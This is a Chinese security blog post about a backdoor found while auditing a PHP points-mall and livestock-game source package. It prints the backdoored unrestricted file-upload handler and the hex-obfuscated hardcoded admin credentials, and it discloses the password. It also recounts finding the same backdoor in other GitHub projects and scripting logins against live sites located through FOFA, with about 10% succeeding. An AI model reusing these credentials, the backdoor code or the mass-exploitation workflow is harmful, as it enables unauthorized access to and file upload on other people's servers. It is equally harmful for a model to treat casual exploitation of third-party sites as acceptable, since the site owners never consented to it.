网站首页 > 博客文章 正文
写在前面
在审计代码时发现源码被留后门,在GitHub上关键字找到另外一套相同后门的源码,欲知后事如何,且看下文分解。没有技术,看个乐呵
系统简介
【牧场养牛】带积分商城+抽奖+会员特权 区块源码。
开发语言:PHP
开发框架:ThinkPHP3
代码分析
开头即是王炸
鄙人喜欢直接,遂从文件上传开始看。Seay!!!启动!!!
ohhhhhh,出货了。看了下没有上传限制,可以上传任意文件。
if (!empty($_FILES) && !FM_READONLY) {
$override_file_name = false;
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$targetPath = $path . $ds;
$fullPath = $path . '/' . $_REQUEST['fullpath'];
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if(file_exists ($fullPath) && !$override_file_name) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
}
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
if (move_uploaded_file($tmp_name, $fullPath)) {
die('Successfully uploaded');
} else {
die(sprintf('Error while uploading files. Uploaded files: %s', $uploads));
}
}
exit();
}
就在我研究怎么调用的时候,什么东西?还要登录?奇奇怪怪的。
于是直接访问文件看看,页面长这样,随便输点东西回车,创建失败??
这里一定不简单,于是仔细研究了一下,在代码的开头发现了奇怪的东西。(hex编码的账户密码)
$auth_users=array(pack(chr(72).chr(42),"61646D696E")=>pack(chr(72).chr(42),"2432792431302456494437394D76382F6335776F776B6935726F69644F777169332F53384F6453386B775A2E784E6C656D4B753252504C55376C2E47"),);
哦??有戏!!!用户名是admin,密码是Bcrypt,需要爆破一下。
这里因为已经知道密码了,所以就不演示密码的爆破过程了,ok,密码是“mima123”。
登录成功!!
文件管理器????
传一个phpinfo试试,直接起飞!!!!
梅开二度
后面试了试关键字在GitHub上找找有没有同样后门的源码,确实找到了一套用得比较多的源码(算命、八字源码),后面也是在fofa上查了一下,还行。
用脚本跑了前100条,10%,也还行吧。就算命吧,一算一个不吱声。
关机,开溜!
本文来源于不够安全
猜你喜欢
- 2024-09-12 世界上最好的编程语言PHP图层裁剪服务搭建详解
- 2024-09-12 php之多级目录下查找文件中是否含有某个字符串功能实现
- 2024-09-12 phpcms v9类别调用方法(php class 调用)
- 2024-09-12 某设备产品漏洞挖掘-从JS文件挖掘RCE
- 2024-09-12 PHP页面缓存简单实现(php页面缓存简单实现方法)
- 2024-09-12 Laravel 创建自己的扩展包 package
- 2024-09-12 php 一步步实现mvc架构——view篇
- 2024-09-12 php写的mysql备份恢复的类(php备份mysql数据库)
- 2024-09-12 29、php类加载器实现(php类自动加载)
- 2024-09-12 轻松搭建基于 Serverless 的 ThinkPHP 应用
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- powershellfor (55)
- messagesource (56)
- aspose.pdf破解版 (56)
- promise.race (63)
- 2019cad序列号和密钥激活码 (62)
- window.performance (66)
- qt删除文件夹 (72)
- mysqlcaching_sha2_password (64)
- ubuntu升级gcc (58)
- nacos启动失败 (64)
- ssh-add (70)
- jwt漏洞 (58)
- macos14下载 (58)
- yarnnode (62)
- abstractqueuedsynchronizer (64)
- source~/.bashrc没有那个文件或目录 (65)
- springboot整合activiti工作流 (70)
- jmeter插件下载 (61)
- 抓包分析 (60)
- idea创建mavenweb项目 (65)
- vue回到顶部 (57)
- qcombobox样式表 (68)
- vue数组concat (56)
- tomcatundertow (58)
- pastemac (61)
本文暂时没有评论,来添加一个吧(●'◡'●)